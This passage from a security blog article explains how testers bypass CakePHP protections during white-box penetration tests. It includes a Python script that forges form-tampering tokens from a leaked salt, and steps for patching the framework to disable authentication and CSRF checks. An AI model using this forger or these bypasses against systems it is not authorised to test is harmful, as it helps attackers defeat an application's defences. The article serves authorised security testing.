If the calculated hash matches the hash provided in the _Token[fields], the request passes validation and proceeds to further verification.

Bypassing form tampering prevention in white box penetration testing

Is it possible to bypass this protection?

The first thing to note is that some controller actions may have disabled this protection.

To look for the disabled actions in the controller source code files look for lines similar to the following:

$this->Security->setConfig('unlockedActions', ['edit']);

The above line disables the edit action.

Sometimes the protection can be disabled for the entire controller or even the entire application. The following line disables the protection for the controller:

$this->Security->setConfig('validatePost', false);

If you are performing a black-box penetration testing of a web application, you can blindly detect it by adding a parameter to all POST requests of various controller actions.

Sometimes, applications disable form tampering prevention for API requests. You can try adding the Accept request header with JSON/XML value or the X-Requested-With header.

In a white box penetration testing you can freely add your parameters but you must make sure that you provide a proper hash of the POST body. In order to do that, you need to get access to the salt, which is stored in the config files or in the SECURITY_SALT environmental variable.

Once you have it, you can use the following script to generate a simple post body token:

import argparse


from urllib.parse import unquote
import hmac




def parse_arguments():
   parser = argparse.ArgumentParser()
   parser.add_argument(
       "-s",
       "--salt",
       help="CakePHP application salt",
       required=True,
   )
   parser.add_argument(
       "-p",
       "--path",
       help=f"URL Path",
       required=True,
   )
   parser.add_argument(
       "-b",
       "--body",
       help=f"POST body",
       required=True,
   )
   parser.add_argument(
       "--ssid",
       help=f"Session ID",
       required=True,
   )
   args = parser.parse_args()
   return args




def serialize(array):
   result = f"a:{len(array)}:{{"
   for i in range(len(array)):
       element = array[i]
       result += f"i:{i};s:{len(element)}:\"{element}\";"
   result += "}"
   return result




def main():
   args = parse_arguments()


   post_body = unquote(args.body)


   fields_flat = post_body.split("&")
   fields = []
   skip = ["_method", "_csrfToken", "_Token"]
   for val in fields_flat:
       k, v = val.split("=", 1)
       if(k == "_Token[unlocked]"):
           unlocked = v
       if "[" in k:
           k = k[:k.find("[")]
       if k not in skip:
           fields.append(k)


   fields.sort()
   serialized = serialize(fields)
   hashParts = [args.path, serialized, unlocked, args.ssid]
   hmac1 = hmac.new(key=args.salt.encode(), msg="".join(hashParts).encode(), digestmod="sha1")
   digest = hmac1.hexdigest()


   print(digest)




if __name__ == '__main__':
   main()

This script won’t work if you want to add an array like this: name[key1]=value. It’s a script that works for simple name=value parameters. 

To fully automate it, you can create a reverse proxy that parses your POST requests and automatically appends the calculated hash for you.

Let me know in the comments if you want to see how to create one.

Keep in mind that if you discover a vulnerability that requires the addition of a new POST parameter, you must make sure that the form tampering protection is bypassed. Otherwise, the vulnerability cannot be exploited and has no real impact.

CSRF protection reduces the vulnerability scanning coverage

Cross-Site Request Forgery is a vulnerability that allows attackers to unknowingly trick privileged users into performing actions on the application.

CakePHP has a dedicated middleware to defend against this type of attack. It’s called CsrfProtectionMiddleware.

The CSRF protection starts with the generation of the token that is stored in cookies and inserted as a hidden field in each form of the web application.

When a user sends the request to change the state of the application (POST, PUT, DELETE, and other methods) two stages of the verification happen:

First, the cookie is verified:

       $decoded = base64_decode($token, true);
       // ...
       $key = substr($decoded, 0, static::TOKEN_VALUE_LENGTH);
       $hmac = substr($decoded, static::TOKEN_VALUE_LENGTH);


       $expectedHmac = hash_hmac('sha1', $key, Security::getSalt());


       return hash_equals($hmac, $expectedHmac);

  • In line 1, the cookie token is base64 decoded. 
  • Lines 3 and 4 split the token into the main part – the key (usually 16 or 32 bytes) and the HMAC.
  • In line 6, the application calculates the SHA1 hash of the key using the salt. This part is similar to the form tampering prevention mechanism.
  • In line 8, the calculated hash of the key is compared to the hmac in the cookie.
  • In practice the cookie looks like this:

csrfToken=7Jn8bE1rg7NPJRcWp67GljAwM2RlMTk2MGViYTU5OTY5YzY4Mzg4NjBjYzQ5ZWI3ZTRiNGRhYjk=

The second step is to check that the token provided in the POST body matches the token in the cookie.

If both checks pass, the CSRF middleware forwards the request further.

CakePHP Blackholing

Blackholing is a process of redirecting all potentially malicious requests without actually starting to execute the MVC flow. If any of the security checks conducted by the SecurityComponent fail, your HTTP request will be blocked and it will not reach your desired controller, model, and view.

Instead of that, the application will present you with the information about the black-holing request:

Another example of a black-holed request due to CSRF protection:

This is basically the result of the protections explained above being triggered.

Some applications may implement custom black-hole pages so you may see a different error message.

Bypassing protections by modifying the CakePHP framework code

If you are conducting a white box penetration testing you can modify the CakePHP source code and disable these protections. This way you can conduct vulnerability scanning without worrying about CakePHP blocking some requests.

Disabling authentication in CakePHP

To disable the authentication implemented by the Authentication plugin, I created a patch that you can apply in the /vendor/cakephp/authentication/src directory:

patch AuthenticationService.php AuthenticationService.php.patch

You will also need to copy the fake identifier file into the Identifier directory as shown in the following screenshot:

Once you do this, all future HTTP requests to the application will be authenticated as the first user in the database:

You can see that there is no session cookie, and yet the web application responds with an HTTP 200 and a list of users.

The patch and the fake identifier remove the authentication with the following steps:

  1. First we register the fake identifier inside the AuthenticationService constructor (patch line 16).
  2. Then, we replace the real authentication with our fake authentication method (patch line 24).
  3. In the fake authentication method we load the fake identifier (patch line 45), and retrieve the first user’s data from the database (patch line 47).
  4. If this went successful we populate the Results object with the user’s data (patch line 52) and return the result (patch line 57).

If you want to go back to the original state where requests must be authenticated, revert the patch by running:

patch --reverse AuthenticationService.php AuthenticationService.php.patch

Disabling blackholing and form tampering protection

There may be some cases where other CakePHP protections trigger a blackhole event. To avoid this you can comment out the execution of the blackHole method in the SecurityComponent.php file.

Disabling CSRF protection

CSRF protection can be disabled by adding a simple return; at the beginning of these methods:

CLASSMETHODLINK
CsrfProtectionMiddleware_validateTokenhttps://github.com/cakephp/cakephp/blob/4.x/src/Http/Middleware/CsrfProtectionMiddleware.php#L385
SessionCsrfProtectionMiddlewarevalidateTokenhttps://github.com/cakephp/cakephp/blob/4.x/src/Http/Middleware/SessionCsrfProtectionMiddleware.php#L243

Once you have done this, the code should look similar to the following.

SessionCsrfProtectionMiddleware:

CsrfProtectionMiddleware:

Keep in mind that this alone does not disable the form tampering protection. You need to do it as described above.

!In the next article we are going to show you an example of a critical SQL injection vulnerability in MISP, CakePHP-based software. This type of vulnerability is very difficult to detect and very impactful at the same time.

Cybersecurity Research Service

Finding security professionals who can perform services such as vulnerability assessment or penetration testing is not an easy task. It is even more difficult is to find a team whose findings reflect their knowledge and understanding of the technologies involved in cybersecurity research.

If you are looking for deep technical expertise in cybersecurity we offer a cybersecurity research service where we dive deep into difficult cybersecurity problems and produce solutions that go beyond a typical service or a tool offering.

Visit the cybersecurity service page.

Resources:

web application penetration tests information

Is this article helpful to you? Share it with your friends.

Artykuł CakePHP Application Cybersecurity Research – Bypassing security mechanisms in CakePHP vulnerability scanning pochodzi z serwisu Web Application Security Testing.

]]>